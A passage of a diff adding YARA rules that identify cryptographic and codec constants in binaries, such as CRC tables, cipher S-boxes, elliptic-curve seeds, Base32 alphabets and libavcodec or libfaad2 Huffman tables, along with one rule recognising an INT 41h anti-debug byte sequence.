0cc0500000d000000f11e00000f000000a30000000a000000ed0300000c0000003e0900000e000000e20100000b000000731200000f000000c40700000b000000871400000f000000910200000c000000930200000c0000008a0f00000c000000090500000d000000080500000d0000008d0700000d000000be0700000d0000008c0700000d000000ae0400000e000000ba0b00000e000000072300000e0000009a0b00000e000000361700000f0000000e000000040000004500000007000000f3010000090000007a0400000b000000dc0500000d000000df2300000e00000019000000050000002800000009000000760100000b0000009d0400000d000000dd2300000e0000003000000006000000a20000000a000000ef0200000c000000b80500000e0000003f00000006000000a50000000a000000db0300000c0000003f0900000e0000004400000007000000cb0700000b0000005f0900000f0000006300000007000000c30300000c0000001500000008000000f60800000c0000001700000008000000980400000d0000002c00000008000000b20700000d0000002f00000008000000541f00000d0000008d00000008000000bd0700000d0000008e00000008000000821100000d000000fb000000080000000b0500000d0000002d00000008000000c00700000b00000079000000090000005f1f00000d0000007a00000009000000561f00000d000000310200000a000000e40300000a000000a10100000b000000430100000b000000f70100000b0000006f0100000c000000920200000c000000e70200000c0000006c0100000c0000006d0100000c000000dc0300000c0000008b0f00000c000000990400000d000000d80300000c0000008e0700000d000000d50200000d0000005e1f00000d0000002b1f00000d0000008f0700000d000000ad0400000e000000af3e00000e000000dc2300000e0000004a00000009000000 }
+
+condition:
+	$a0
+}
+
+	
+rule E2_sbox__8_byt_256_
+{
+strings:
+	$a0 = { e1423e814e179efdb43f2cda311ee041ccf3827d7c128ebbe45815d56fe94c4b357b5a9a9045bcf879d61b8802abcf64090cf001a4b0f693436386dc11a5838bc9d019956aa15c246e5021802fe7530f912204eda6484967ecf7c039cef22dbe5d1ce387070d7af4fb32f58cdb8f2596a8eacd336554068d890a5ed9160e716c0bff60d22ed3c855c223b774e29bdf772bb93c6213e59434b127849fd7510061ad8573030840ef68fe971fdeaf66e8b8aebdb3ebc66b47a9d8a772ee1d7eaab675cbd43069207f375b9d78a3f176fa053d3a44573bcac78a18469cbfba38561a924d2629a298109970a0c528c16d14acf95f4fc4c3d1fcddb259e6b536524a2a }
+
+condition:
+	$a0
+}
+
+	
+rule UnRARlib_CRCCrypt_Code_InitSubstTable__8_byt_256_
+{
+strings:
+	$a0 = { d713952349c5c0cdf91c107730dd022ae801b1e90e58db19dfc3f45a57ef9989ffc793465c42f60dd8283e1dd9e656064718abc46571da7b5d5ba3b2ca432ceb6bfa4bea31a77dd353729d9020c18f249e7cf7bb59d68d2f79e43d82d5c2aefb616e36e57339985e69f3d437d1f53f0ba4c81f9c51b0e3154c638bbc7f11f833cf78bdd208e22948b7cb87a5a63c62077a269baa45acfcee27863b80ec1bf050830355ce914f9a8e9fdcc9854a401481e0b98a67adb62b22fe52c697e7b43a0a761a660c328416bf886fa2b32d04946ca1384e7ef2de0faf921721f1b5be4de1002ea9ba445fed4135d0fda80912643474b8a0606d251e6a8c689605cc757054 }
+
+condition:
+	$a0
+}
+
+	
+rule Creative_ADPCM_table__32_lil_32_
+{
+strings:
+	$a0 = { e6000000e6000000e6000000e600000033010000990100000002000066020000 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_pan_pow_2_neg__flt32___32_lil_160_
+{
+strings:
+	$a0 = { 0000803f0000803f0000803f0000803f0000803fe028643fe028643fd5584b3fd5584b3fd5584b3fd5584b3fd5584b3f0386213f26f50f3f26f50f3f973b353f0386213f504d003f0ea9b53e93e7a13e0386213f504d003f0ea9b53ed73c653e031a363e24f50f3fa9d3cb3ed73c653ec7ea003e0288b63d504d003f1a4c903ed5a5103e2efd903d8b10233da9d3cb3e68524c3e0f88b63d8b10233d9bac913c }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_atrac_ff_cavs_intra_dec__8_byt_162_
+{
+strings:
+	$a0 = { 010101FF0101010201FF0201010301FF0301010401FF0401010501FF0501010601FF0601010701FF0701010801FF0801010901FF0901010A01FF0A01010B01FF0B01020102FE0102010C01FF0C01010D01FF0D01010E01FF0E01010F01FF0F01020202FE0202011001FF1001011101FF1101030103FD0103011201FF1201011301FF1301020302FE0302011401FF1401011501FF1501020402FE0402011601FF1601 }
+
+condition:
+	$a0
+}
+
+	
+rule t_class_16_hi0x673C__16_lil_512_
+{
+strings:
+	$a0 = { 0000cd2a9a55577f34abf981aefe63d4bf06722c2553e8798bad468711f8dcd27e0db327e45829724aa6878cd0f31dd9c10b0c215b5e9674f5a0388a6ff5a2dffc1a3130664fab65c8b1059b52e49fce431c8e36d949146377b7ba9dede220c882174f3d1842d568b6bc7b962ce9e1c33d11f03ba7446a6e09bac49093ef5ec5f835351f6260af4acc9e01b456cb9be147338a19dd66104c7398beb2e9cd24e786384b121c6dd147b2937fb928c6e5ec393ef414a36b6e410d95c0bf97c05aea042fc9059e7a53503084fdaeaad167fbbb297603217cec568f8242a815d7d8fd7a22b708e0772d5d4e8983a3d4dc19f6c524080e5f71925bf18f3ca56bdaa6f0f06b3d416a3ea714c4c009ea5e9593bf4f6d8247d53818127bc6b6ece1932cb98e66434c1433d919bacd77e72098edb23160fc4aab35661f05cbc8e19f9e52b40c71c15b96245b0e38daf5f0a28f6fa5b3777e5d2922e40887dc4af61d89d0a3727cbf56e829250346d78bfddc8211a8cd7a0050572f9a05f9d134fb6384aeae085ec574920b5f213cf5f1dfa6a06b8ab7587a722d0de02783f34ed919a6d48c7653bb79ec06212c42f88fd2d8ad1587c955047f53009e2afdfe30d467abaa81f444396e6e11a33bc0ef0dc55aba97904b428668d1171c3d7fe9b2c3e5bc28968a494763101cdd36bee273c824b7e99d354ff865af1a623001e4ccce9bb1569b }
+
+condition:
+	$a0
+}
+
+	
+rule in_cube_AFC_decoder__ngc_afc_decoder___16_lil_64_
+{
+strings:
+	$a0 = { 00000000000800000000000800040004001000f8000e00fa000c00fc001200f6681038f7c01204f7001400f4000800f8000400fc00fc000400fc000000f80000 }
+
+condition:
+	$a0
+}
+
+	
+rule rfc3548_Base_32_Encoding__32_lil_ASC_128_
+{
+strings:
+	$a0 = { 4100000042000000430000004400000045000000460000004700000048000000490000004a0000004b0000004c0000004d0000004e0000004f000000500000005100000052000000530000005400000055000000560000005700000058000000590000005a000000320000003300000034000000350000003600000037000000 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_32_IEEE_802_3_poly_0xEDB88320__32_big_refl_False_
+{
+strings:
+	$a0 = { 00000000edb8832036c98560db7106406d930ac0802b89e05b5a8fa0b6e20c80db261580369e96a0edef90e0005713c0b6b51f405b0d9c60807c9a206dc419005bf4a820b64c2b006d3d2d408085ae603667a2e0dbdf21c000ae2780ed16a4a080d2bda06d6a3e80b61b38c05ba3bbe0ed41b76000f93440db8832003630b120b7e950405a51d3608120d5206c985600da7a5a8037c2d9a0ecb3dfe0010b5cc06ccf45c08177c6e05a06c0a0b7be4380015c4f00ece4cc203795ca60da2d4940ec1df86001a57b40dad47d00376cfe20818ef2a06c367180b74777c05afff4e0373bede0da836ec001f26880ec4aeba05aa8e720b71064006c61624081d9e160826a23a06fd2a080b4a3a6c0591b25e0eff929600241aa40d930ac0034882f20594c3620b4f4b5006f85b340823d306034df3ce0d967bfc00216b980efae3aa0d99e8b80342608a0ef570ee002ef8dc0b40d814059b5026082c404206f7c870002b89e00ef001d2034711b60d9c998406f2b94c0829317e059e211a0b45a9280358373e0d83bf0c0034af680eef275a058107920b5a8fa006ed9fc4083617f60eea56660031de540d86ce30035d4602083366ca06e8eef80b5ffe9c058476ae06e77dbc083cf58e058be5ea0b506dd8003e4d100ee5c5220352d5460d895d740b551ce4058e94d6083984b206e20c800d8c2c480357a47a0ee0b41e003b3c2c0e96cc46004d44740dfa54100321dc22084ffcea069474d80b2364bc05f8ec8e0324ad1e0dff252c004835480e93bd7a05fd9db20b261580069105e4084a8dd60b2986c405f20ef608451e92069e96a00df0b668032b3e5a0e9c2e3e0047a60c069be79c08406fae05f77fca0b2cf7f80042d7300e995f02032e4f660df5c75405e859420b33d1700684c114085f4926033169ee0deae1dc005df1b80e86798a085a381a0681b0280b36a04c05ed287e0e8308b6005880840def90e0033418d2005713c00e8c9bf2033b8b960de003a4068e236c0855ab5e05e2bb3a0b3933080de57298033efaaa0e89eace005262fc0b3c423405e7ca060850da62068b525006b06e7c086be64e05dcf62a0b077e1800695ed00eb2d6e20305c6860dde4eb40b020f2405d98716086e977206b51f400ddb3f880300b7ba0eb7a7de006c2fec030f24fe0dd4accc0063bca80eb8349a05d614520b0d9c6006ba8c04086104360ebd45a60066cd940dd1ddf0030a55c20864750a06bffd380b08ed5c05d3656e0dcefb780315734a0ea2632e0079eb1c0b17cbd405cc43e6087b538206a0dbb0007c9a200ea71212031002760dcb8a4406a5aa8c087e22be05c932da0b12bae80871b1fa06aa39c80b1d29ac05c6a19e0ea88156007309640dc41900031f913205c3d0a20b18589006af48f40874c0c6031ae00e0dc1683c007678580eadf06a0 }
+
+condition:
+	$a0
+}
+
+	
+rule Misty_s9__16_lil_1024_
+{
+strings:
+	$a0 = { c301cb0053019f01e301e900fb0035008101b9001701eb01330109002d00d300c7004a0137007e00eb0064019301d801a3001e0155002c001d00a201630118014b015201d2010f002b0030003a01e500110138018e016300e300c800f4011b0001009d00f800a0016d01f3011c0046017d00d1008200ea0183012d01f4009e01d301dd00e2012801e001ec005900910011002f012600dc00b0008c010f01f701e7006c01b600f900d800510101014c010301b80054012b01ae01170071000c00470058007f00a4013401290184005d019d01b201a30148007c005100ca0123003d01a70165013b004200da009201ce00c1006b009f00f1012c018401fa009601e10169017d01310080010a019400da0186013e011c0160007501cf01670019016500680099005001080007007c01b70024001900de002701db00e400a9015200090190009c01c1012800b30135016a017601df00e5018801c5006e01de01b101c300df013600ee00ee01f000930049009a00b6016900810025010b005e00b4004901c70174013e003b01b7018e00c601ae0010009500ef014e00f200fd018500fd00f600a0006f0183008a0056019b003c01070167019800d001e9010300fe01bd0022018900d2008f01120033006a004201ed0070011b01e2004f015801310147015d001301cd0179006101a50179019e00b401cc00220032011a00e80004008701ed0197013900bf01d70127008b01c6009c00d0004e016c003400f2016e00ca002500ba009101fe00130006012f00ad017201db01c0000b01d601f500ec010d0176001401ab0175000c01e401590154001f014b00c400be01f7002900a4000e00f00177004d007a0186008b00b3007101bf000e01040197005b0160016801d700bb006600ce01fc009200c5016f0016004a00a1003901af00f10090010a00aa0143017b0156008d016601d400fb014d0194019a018700f8012301a700b80141013c00f90140012a0055011a01a1019801d5002601af0161002e015701dc0172008a01aa0096001501ef0045007b008d00450153005f007801b2002e002000d5013f00c901e701ac01440038001400b1006b01ab00b5005a008201c801d401180077016400cf006d000001990130015a0105002001bb01bd01e0004f00d6003f01c4012a0115000600ff009b01a6004300880050005f01e801210173007e01bc00c200c90073018901f5017400cc01e601a80195011f0041000d00ba0132003d00d1018000a8005700b90162014801d900050162007a002100ff0112010801c001a9001d01b001a601cd00f3005c0002015b00d9014401f601ad00a5003a00cb0136017f014600e1001e00dd01e6003701fa0185018c008f004000b501be0078000000ac0010015e0124010200bc01a200ea007000fc0116015c014c00c201 }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__INT_41h_Debugger_Notification__8_byt_9_
+{
+strings:
+	$a0 = { 576a4f682a002a00e8 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_32_IEEE_802_3_poly_0xDB710641__32_big_refl_False_
+{
+strings:
+	$a0 = { 00000000db7106416d930ac3b6e20c82db261586005713c7b6b51f456dc419046d3d2d4db64c2b0c00ae278edbdf21cfb61b38cb6d6a3e8adb88320800f93449da7a5a9a010b5cdbb7e950596c985618015c4f1cda2d495d6ccf45dfb7be439eb74777d76c367196dad47d1401a57b556c616251b710641001f26892da836ed36f85b375b4f4b5340216b9b6d967bff7b4a3a6f36fd2a0b2d930ac300241aa7102b89e38d9c998796f2b94fbb45a92bad99e8bbe02ef8dffb40d817d6f7c873cb5ffe9ef6e8eefaed86ce32c031de56d6ed9fc69b5a8fa28034af6aad83bf0ebd8c2c4a203b3c2e3b551ce616e20c82003e4d124d895d7656e77dbe7b506dda6df0b66ea047a60abb2986c2969e96a68042d736cdf5c752d69be79afb2cf7feeb2364ba769474de6dfa5416404d4472569105e21b2615860048354e2dff252a305713c70de003a3168e236b3b39330f2de5729f605262fb7b3c4233568b52574684c113db33d177c05df1bfedeae1dbfb36a04bb681b02fadef90e7805880839b08ed59f6bffd3dedd1ddf5c066cd91d6ba8c019b0d9c658063bcadadd4acc9bddb3f8d206c2fe93b020f2116b51f4500695ed54dde4eb156b06e797b077e1d66af48f05b1858944076785c6dc168387b1d29a836aa39cc2dc4190400730960107c9a248dcb8a4096a5aa88bb12baecadcefb7ce079eb18fb17cbd0d6a0dbb4c6567cb95be16cdd408f4c156d385c717be41de136530d852d3d2d4d008a3d291085ae6d8d32be09965c9ec1bbeb8ea5ad37cf35e080df51fbeeff99d659effdcbf1d910f646c974ed28e9bcc09ff9d8d643b8489bf4a82c809a88e4ad2d9880bd220bc420951ba03bfb3b68164c2b0c00906a9c4d277af856495a307bfe4a5460ae278e0d1937ea167717223bc007462d1c46d660ab56b27bc5767a5672661e467df55adbcae53ec0a4c5f6ed13d592fbcf9402b6788466ad16a4ae80a1b4ca9d098227a0be9243bbd0b28b9667a2ef80bbe37fcd0cf31bd662d3d3fbd5c3b7ebda50f3766d40976d03605f40b4703b566831ab1bdf21cf00b101072d0611633ba6cad7f611dab3ed7ffa7bc0c8ea1fd614ab8f9ba3bbeb80cd9b23ad7a8b47bd75180320c208673bac28af161b38cb00c7795b4d70693f561e49f77ba9599366016f7e5bb67f1a40d85fd26d6f4fb67bb30e2636041e422d6a3e8a00dd2eee10d2bdaa8d65adce960b8d06bbbc9d62ad60dcf2e0d7cc96fbb9ec5ed60efc3acd5e91e0a0e98184bb87a14c9630b12880ecf0b8cd5be0dcd635c014fb82d070eb8d4334763a53506d54739840e363fc563f226c1b88320800e612c02d5102a430f934490d4e242d162004e53b9714812d4b551160fc45757b9265bd562575d9462ae69ddb9df6f9c0f3d631ed44c655fb9887c5b62f97a1ad41b76980f6a70d9 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_log2_tab__flt64___64_lil_520_
+{
+strings:
+	$a0 = { 0000000000000000b7d2c28596e7963f48fd8e75d3baa63f7c9fa29f38ebb03ff912c9faf663b63fb7abad4042c8bb3fd379da8c588cc03f18ae78e2e92ac33f7bd6fb391ac0c53fab032fd02b4cc83f9cecb42d5ecfca3f7459324cee49cd3ff86702b916bccf3f6f0bd3da0713d13f33070eab0744d23feecda4ce2471d33f851bcd4b789ad43f8dd6fb391ac0d53fe40c9dcd21e2d63f591c1663a500d83f04171f89ba1bd93f55607f0a7633da3fa28238f7eb47db3f515b29ad2f59dc3f0aea32e05367dd3fd654e7a16a72de3fd406cb68857adf3f7d99978bda3fe03fa73ad60005c1e03f40e5a1fac940e13f0bd0951e31bfe13fc92727d4413ce23fcf7a3f4703b8e23faa9cb46a7c32e33f6521a0fab3abe33fad6a987eb023e43f8e1bcd4b789ae43ffba808871110e53f379d98268284e53fab091ef4cff7e53fca88478e006ae63f4d19766a19dbe63f52074ed61f4be73fe50235f918bae73f7770bed50928e83f88ef064bf794e83fd1020016e600e93ff6b5acd2da6be93fb21050fdd9d5e93f21188ef3e73eea3fd61480f508a7ea3f6ac8bc26410eeb3fd932558f9474eb3f727ec61c07daeb3f53a0e1a29c3eec3f1233a9dc58a2ec3f9b08266d3f05ed3f13ea32e05367ed3f6af53fab99c8ed3f41010e2e1429ee3f716a62b3c688ee3f50a9b371b4e7ee3f5a06cf8be045ef3f35c277114ea3ef3f000000000000f03f }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_cvh_huffbits4__8_byt_246_
+{
+strings:
+	$a0 = { 0204070a0405070a07080a0e0b0b0f0f0405090c0505080c08070a0f0b0b0f0f07090c0f08080c0f0a0a0d0f0e0e0f000b0d0f0f0b0d0f0f0e0f0f000f0f00000405090d0506090d09090b0f0e0d0f0f0406090c0506090d09080b0f0d0c0f0f07090c0f07080b0f0a0a0e0f0e0f0f000a0c0f0f0b0d0f0f0f0f0f000f0f000006090d0e08090c0f0c0c0f0f0f0f0f0007090d0f08090c0f0b0c0f0f0f0f0f00090b0f0f090b0f0f0e0e0f000f0f00000e0f0f000e0f0f000f0f000000000000090c0f0f0c0d0f0f0f0f0f000f0f00000a0c0f0f0c0e0f0f0f0f0f000f0f00000e0f0f000f0f0f000f0f0000000000000f0f00000f0f }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_16_IBM_poly_0x4003__16_big_refl_True_
+{
+strings:
+	$a0 = { 00007f81ff0280837e0101808103fe82fc02838303007c818203fd827d010280780107808703f88206007981f90286838403fb827b010480fa02858305007a81f0028f830f0070818e03f18271010e800c007381f3028c8372010d808d03f2828803f78277010880f60289830900768174010b808b03f4820a007581f5028a8360011f809f03e0821e006181e1029e839c03e38263011c80e2029d831d00628118006781e7029883660119809903e682e4029b831b0064819a03e58265011a809003ef826f011080ee02918311006e816c0113809303ec8212006d81ed029283e8029783170068819603e9826901168014006b81eb0294836a0115809503ea82c002bf833f004081be03c18241013e803c004381c302bc8342013d80bd03c282b803c78247013880c602b9833900468144013b80bb03c4823a004581c502ba8330004f81cf02b0834e013180b103ce82cc02b38333004c81b203cd824d01328048013780b703c88236004981c902b683b403cb824b013480ca02b58335004a81a003df825f012080de02a18321005e815c012380a303dc8222005d81dd02a283d802a78327005881a603d9825901268024005b81db02a4835a012580a503da8250012f80af03d0822e005181d102ae83ac03d38253012c80d202ad832d00528128005781d702a88356012980a903d682d402ab832b005481aa03d58255012a80 }
+
+condition:
+	$a0
+}
+
+	
+rule RNG__32_big_AND_
+{
+strings:
+	$a0 = { 7fffffff[0-20]0001f31d }
+
+condition:
+	$a0
+}
+
+	
+rule BGMC_Cumulative_frequency_table_5__16_lil_386_
+{
+strings:
+	$a0 = { 0040003f003e013d023c033b053a08390b38103716361d35263431333c324a315830672f762e892d9d2cb52bcd2aea290729272848276e269425bf24eb231b234b227b21ab20df1f131f4e1e891dcb1c0e1c551b9c1aeb193b199118e8174517a31602166115c7142d149a1307137c12f1116a11e4106510e70f6f0ff70e820e0d0e980d230db20c420cd80b6f0b0c0ba90a4b0aed0995093e09ec089a084e080208b7076c072607e106a10661062606eb05b3057b0547051405e404b50488045b042e040104d603ab0383035c0338031503f402d302b50297027c02610248022f021702ff01e901d301bf01ab0199018701760166015701480139012c011f0112010501f800eb00df00d300c800bd00b300a900a00097008f0087008000790073006d00670061005c00570052004d004900450041003d003a003700340031002e002b0028002500230021001f001d001b00190017001500140013001200110010000f000e000d000c000b000a000900080007000600050004000300020001000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_mpc_CC__flt32___32_big_72_
+{
+strings:
+	$a0 = { 4780000046aaaaab464ccccd4612492545e38e394588888945042108448208204401020443808080430040214280200d42000ff9418007fd41000419408001a3400001a33f800000 }
+
+condition:
+	$a0
+}
+
+	
+rule sfb_48_480__16_lil_70_
+{
+strings:
+	$a0 = { 040008000c001000140018001c002000240028002c00300034003800400048005000580060006c007800840090009c00ac00bc00d400f00010013001500170019001b001e001 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_sp5x_data_dht__8_byt_420_
+{
+strings:
+	$a0 = { ffc401a20000010501010101010100000000000000000102030405060708090a0b0100030101010101010101010000000000000102030405060708090a0b100002010303020403050504040000017d01020300041105122131410613516107227114328191a1082342b1c11552d1f02433627282090a161718191a25262728292a3435363738393a434445464748494a535455565758595a636465666768696a737475767778797a838485868788898a92939495969798999aa2a3a4a5a6a7a8a9aab2b3b4b5b6b7b8b9bac2c3c4c5c6c7c8c9cad2d3d4d5d6d7d8d9dae1e2e3e4e5e6e7e8e9eaf1f2f3f4f5f6f7f8f9fa1100020102040403040705040400010277000102031104052131061241510761711322328108144291a1b1c109233352f0156272d10a162434e125f11718191a262728292a35363738393a434445464748494a535455565758595a636465666768696a737475767778797a82838485868788898a92939495969798999aa2a3a4a5a6a7a8a9aab2b3b4b5b6b7b8b9bac2c3c4c5c6c7c8c9cad2d3d4d5d6d7d8d9dae2e3e4e5e6e7e8e9eaf2f3f4f5f6f7f8f9fa }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_t_huffman_pan__8_byt_56_
+{
+strings:
+	$a0 = { F101F002F203EF04F305EE06F407ED08F5090A0BECF60C0DEBF70E0FEAF81011E9F91213E7FB1415E8FA161718191A1BE3E4E5E6FCFDFEFF }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_cvh_huffcodes0__16_lil_382_
+{
+strings:
+	$a0 = { 000008002c002d0062006300d400d500d600c601c701ca03d607d707090014002e0064006500d700d800c801c901ca01cb01cb03d807d90715002f006600d900da00cc01cd01ce01cf01cc03cd03ce03da07e40f30006700db00d001d101d201d301cf03d003d103d203db07e50fea1f68006900dc00d401d501d601d303d403d503d603dc07dd07e60feb1fdd00de00d701d801d901d703d803d903da03de07df07e70fec1ff23fdf00e000da01db01db03dc03e007e107e207e80fe90fed1fee1ff47fe100e200dc01dd01dd03de03e307e407e507ea0feb0fef1ff33ff57fde01df01e001df03e003e103e607e707ec0ff01fed0ff43ff67ff8ffe101e201e203e303e403e503e807ee0fef0ff53ff63ff9fffafffaffe301e401e603e703e907ea07f00ff11ff21ff73ff83ff77ff77ffaffe803e903ea03eb07ec07f10ff20ff31ff87ff97ffbfff83ff77ff77fed07ee07ef07f30ff41ff51ff61ffa7ffcfffdfffbfffbfff83ff77ff007f107f40ff71ff81ff93ffb7ffeffffff }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_vp6_ract_pct__8_byt_396_
+{
+strings:
+	$a0 = { e3f6e6f7f4ffffffffffffffffd1e7e7f9f9fdffffffffffe1f2f1fbfdfffffffffffff1fdfcfffffffffffffffff8fffffffffffffffffffffffffffffffffffffff0fff8fffffffffffffffffffff0fdffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffcecbe3eff7fffdffffffffcfc7dcecf3fcfcffffffffd4dbe6f3f4fdfcffffffffecedf7fcfdfffffffffffff0f0f8ffffffffffffffffffffffffffffffffffffffe6e9f9ffffffffffffffffeeeefafffffffffffffffff8fbffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe1efe3e7f4fdf3fffffdffe8eae0e4f2f9f2fcfbfbffebf9eef0fbfff9fffdfdfff9fdfbfafffffffffffffffbfaf9fffffffffffffffffffffffffffffffffffffff3f4fafafffffffffffffff9f8fafdfffffffffffffffdffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff }
+
+condition:
+	$a0
+}
+
+	
+rule EC_curve__EC_X9_62_CHAR2_163V3_SEED__8_byt_20_
+{
+strings:
+	$a0 = { 50cbf1d95ca94d696e676875615175f16a36a3b8 }
+
+condition:
+	$a0
+}
+
+	
+rule EC_curve__EC_X9_62_CHAR2_163V2_SEED__8_byt_20_
+{
+strings:
+	$a0 = { 53814c050d44d696e67687561517580ca4e29ffd }
+
+condition:
+	$a0
+}
+
+	
+rule EC_curve__EC_NIST_PRIME_521_SEED__8_byt_20_
+{
+strings:
+	$a0 = { d09e8800291cb85396cc6717393284aaa0da64ba }
+
+condition:
+	$a0
+}
+
+	
+rule libtheora_old_FrequencyCounts_VP3__32_big_8188_
+{
+strings:
+	$a0 = { 000000c60000003e000000160000001f0000000e0000000600000006000000cd000000030000034b0000034b0000019f0000020400000294000001fd0000019c0000015b000002300000030b000003ad000003a20000029500000179000000aa0000009b0000002700000002000000090000000f0000000b00000080000000560000012b0000005c00000022000000270000000f000000060000000600000084000000010000035300000353000001e4000001e50000029a00000202000001a00000015f0000023700000314000003b9000003af0000029e0000017f00000075000000770000001a000000040000001100000007000000010000005d000000380000016f000000730000002a0000002f00000010000000060000000600000069000000010000038000000380000001ec000001ed0000029b000001fe000001980000015600000223000002f8000003a40000039f000002900000017b00000072000000670000000a000000030000000600000002000000010000005800000031000001ce0000009e0000003f0000004c0000001c0000000900000008000000910000000100000474000004740000023d0000023e000002f200000232000001b3000001650000022b000002e6000003190000024c00000112000000510000009a000000750000000d000000060000000c0000000200000001000000680000003e0000022e000000c40000005100000063000000240000000b00000009000000870000000100000514000005150000025e0000025f0000030b00000230000001ad0000015d00000218000002a80000028400000195000000990000001e000000ab000000780000000c000000050000000e000000030000000100000068000000350000027b000000e9000000640000007a0000002e0000000e0000000c000000710000000100000586000005870000027700000277000003110000022b000001b00000014f0000020100000263000002090000011c000000590000000d000000aa000000710000000a000000050000000e0000000300000001000000660000003e000002d000000114000000770000009a0000003e000000140000001000000065000000010000062f0000062f00000295000002950000031a0000022c000001970000013e000001bf000001d800000157000000990000002300000001000000ac000000730000000b000000070000000e00000003000000010000007000000046000003550000014600000090000000b8000000500000001b000000130000003400000001000006cb000006cc000002ac000002ad000003200000021c0000017d000001150000016c00000160000000da0000004e0000000d000000010000008b0000006d00000009000000060000001400000002000000010000005e00000032000001ea0000009a00000039000000350000000a0000000200000001000000ee000000a00000056f0000056e0000024300000242000001eb00000111000000ac00000076000000980000009c0000007f0000004f0000002900000027000002c8000002230000013c0000007d000000b700000132000000ed000001c30000016600000236000000b800000046000000410000000b0000000200000001000000eb0000003300000586000005860000025700000256000001fe0000011d000000b40000007c0000009d000000a100000083000000520000002a00000028000002e200000227000001420000008a000000c3000000bc0000005d000001d90000016d000002c7000001050000006f0000007e0000001b00000004000000010000008900000034000005e2000005e10000028500000285000002370000013c000000c700000088000000ac000000af0000008e000000580000002d0000003000000224000001c1000000ff00000091000000b8000000ae0000007900000104000000e3000003370000013f00000090000000af0000002b0000000700000001000000350000002a00000670000006700000028d0000028c0000024700000149000000cd0000008b000000af000000b00000008b000000540000002c00000022000001d300000185000000d300000089000000b5000000ba0000006b0000006a00000055000003b40000019b000000c9000001140000005500000010000000020000002700000021000006f2000006f10000024800000247000001e900000109000000a20000006f0000008c0000008c0000006c000000400000002600000017000001ac00000164000000c90000008b000000ba000000a50000005e0000004e0000003f000003ea000001d6000000f80000018200000099000000270000000600000017000000170000074a0000074a0000023d0000023d000001d3000000f90000009b0000006700000082000000800000005e0000003c000000260000000e00000143000001070000009f0000006f0000009c000000990000004a0000002e00000022000003fc0000020600000123000001f8000000f20000004e000000120000000e0000000e000007bc000007bb0000020f0000020e00000198000000db00000084000000570000006e000000680000004f000000370000001f0000000700000109000000d5000000810000005b000000830000006f000000320000001f00000014000003fa00000220000001400000024f000001520000008b0000002f00000005000000020000084b0000084b00000224000002230000019e000000d40000007e0000005300000065000000600000004f0000003c0000001700000001000000780000006100000037000000270000003c000000260000000f0000000b00000008000000f20000003e0000001600000014000000040000000100000001000001b6000000010000025100000251000001e9000001ea0000029100000244000001d700000176000002570000030f0000036500000302000001eb0000011700000166000000900000005200000036000000310000004600000005000001210000006b0000013d0000005f0000002600000029000000080000000100000001000001df000000010000028d0000028e000001f4000001f5000002aa00000263000001d90000017800000246000002fa0000032600000290000001660000009b000001a3000000a2000000560000003a0000002400000022000000010000013b0000007e0000017e00000079000000310000003b0000000f0000000300000001000001f000000001000002a2000002a2000002290000022a000002f30000027c000001e70000018700000240000002ce000002bd000001e8000000dd00000048000001c0000000a10000006b00000038000000250000001d000000010000016a0000009c0000019f0000008a00000039000000490000001500000005000000010000021000000001000002e6000002e50000023200000233000002f10000029d000001ec0000018400000233000002980000024d00000154000000810000001a000001f0000000b80000008b0000004700000030000000210000000200000183000000a6000001f0000000aa000000490000005e0000001f0000000800000002000002010000000100000357000003570000025c0000025c0000030100000296000001dd00000164000001e60000020e0000017d000000b700000033000000050000024e000000d6000000a0000000550000003c0000002700000003000001ab000000cb0000024d000000cf0000005900000074000000280000000d00000003000001eb00000001000003970000039700000277000002770000030100000279000001b000000134000001980000017a000000f70000005e000000110000000100000293000000f7000000c900000069000000490000003300000003000001d2000000f2000002d70000010a0000007300000097000000310000001100000006000001b700000001000003d1000003d10000028200000282000002ce0000023c0000017b000000f30000011d000000fb00000085000000280000000100000001000002f40000011f000000fd0000007e0000005e0000004200000004000001ec00000118000003ac00000188000000b4000000f7000000520000001e0000000e000001570000000100000428000004280000026700000268000002540000019e000000eb00000092000000950000006c00000029000000010000000100000001000003720000013a0000015a000000ac0000007d0000005300000006000001e900000123000001b8000000660000002100000017000000020000000100000001000001d1000000550000035400000354000002e8000002e7000002bd000001f000000129000000c1000000e1000000c8000000810000003a00000012000000020000031e000001c20000010d000000ca00000091000001340000009a00000286000001850000025000000097000000350000002b00000006000000010000000100000199000000220000036b0000036b000002ec000002eb000002d3000001fe00000131000000c4000000e5000000c9000000820000003b000000120000000200000320000001b4000000fd000000b900000073000000c2000000580000028200000170000002f7000000de0000005600000055000000110000000200000001000001780000002e0000037800000378000002b1000002b00000024200000198000000e40000008f000000a50000008d000000540000002300000007000000010000036e000001e800000141000000f4000000930000010a0000007c000002640000016f000003900000012a0000007a00000085000000220000000700000001000001050000002c0000044400000443000001f0000001f0000001990000010d000000960000005f0000006a00000057000000310000001000000001000000010000044e0000025a000001ac0000014f000000c1000001430000009d000001a7000000fd0000043000000190000000b4000000d20000003c0000001000000003000000d2000000280000042700000427000001c3000001c300000159000000dd00000079000000490000004f000000400000001f0000000600000001000000010000045100000260000001ce00000166000000ca0000014a0000009b00000179000000e40000048c000001f7000000fe0000014a0000006d0000002200000009000000a7000000230000040e0000040d000001860000018600000116000000aa000000590000003600000038000000280000000d000000010000000100000001000004560000025f000001ec00000191000000da000001570000008d00000143000000c0000004950000024700000141000001e6000000c400000044000000170000007c000000170000040d0000040d0000015b0000015a000000e80000008b00000045000000280000002500000014000000020000000100000001000000010000046800000248000001fa0000019a000000c70000012d000000710000011b0000009f000003ff0000024f0000016e000002bb000001b9000000e4000000710000004f0000000500000420000004200000012300000123000000ad000000600000002600000013000000080000000100000001000000010000000100000001000004